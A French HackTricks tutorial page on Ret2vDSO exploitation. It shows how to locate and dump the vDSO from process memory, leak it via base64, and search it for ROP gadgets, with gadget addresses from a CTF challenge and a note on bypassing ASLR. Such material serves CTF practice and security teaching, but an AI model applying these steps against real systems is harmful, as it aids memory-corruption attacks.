Ret2vDSO
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Il peut y avoir des gadgets dans la région vDSO, qui est un petit ELF DSO mappé par le kernel pour fournir des implémentations user-space rapides de certains kernel helpers. Dans ce type de challenges, généralement une image du kernel est fournie pour dump la région vDSO.
Localiser la base du vDSO et les exports
L’adresse de base du vDSO est passée dans l’auxiliary vector en tant que AT_SYSINFO_EHDR, donc si vous pouvez lire /proc/<pid>/auxv (ou appeler getauxval dans un helper process), vous pouvez récupérer la base sans dépendre d’un memory leak. Voir Auxiliary Vector (auxv) and vDSO pour des méthodes pratiques pour l’obtenir.
Une fois que vous avez la base, traitez le vDSO comme un ELF DSO normal (linux-vdso.so.1) : dump le mapping et utilisez readelf -Ws/objdump -d (ou le kernel reference parser tools/testing/selftests/vDSO/parse_vdso.c) pour résoudre les symboles exportés et chercher des gadgets. Sur x86 32-bit le vDSO exporte communément __kernel_vsyscall, __kernel_sigreturn, et __kernel_rt_sigreturn ; sur x86_64 les exports typiques incluent __vdso_clock_gettime, __vdso_gettimeofday, et __vdso_time. Comme le vDSO utilise le symbol versioning, faites correspondre la version attendue lors de la résolution des symboles.
En suivant l’exemple de https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ il est possible de voir comment il a été possible de dump la section vdso et la déplacer vers l’hôte avec:
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
ROP gadgets trouvés:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Caution
Notez donc comment il pourrait être possible de contourner ASLR en abusant du vdso si le kernel est compilé avec CONFIG_COMPAT_VDSO car l’adresse du vdso ne sera pas randomisée : https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639
ARM64
Après avoir dumpé et vérifié la section vdso d’un binaire sous kali 2023.2 arm64, je n’ai trouvé là-dedans aucun gadget intéressant (aucun moyen de contrôler les registers à partir de valeurs sur le stack ou de contrôler x30 pour un ret) sauf une façon d’appeler un SROP. Consultez plus d’infos dans l’exemple de la page :
Références
- https://man7.org/linux/man-pages/man7/vdso.7.html
- https://www.kernel.org/doc/Documentation/ABI/stable/vdso
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


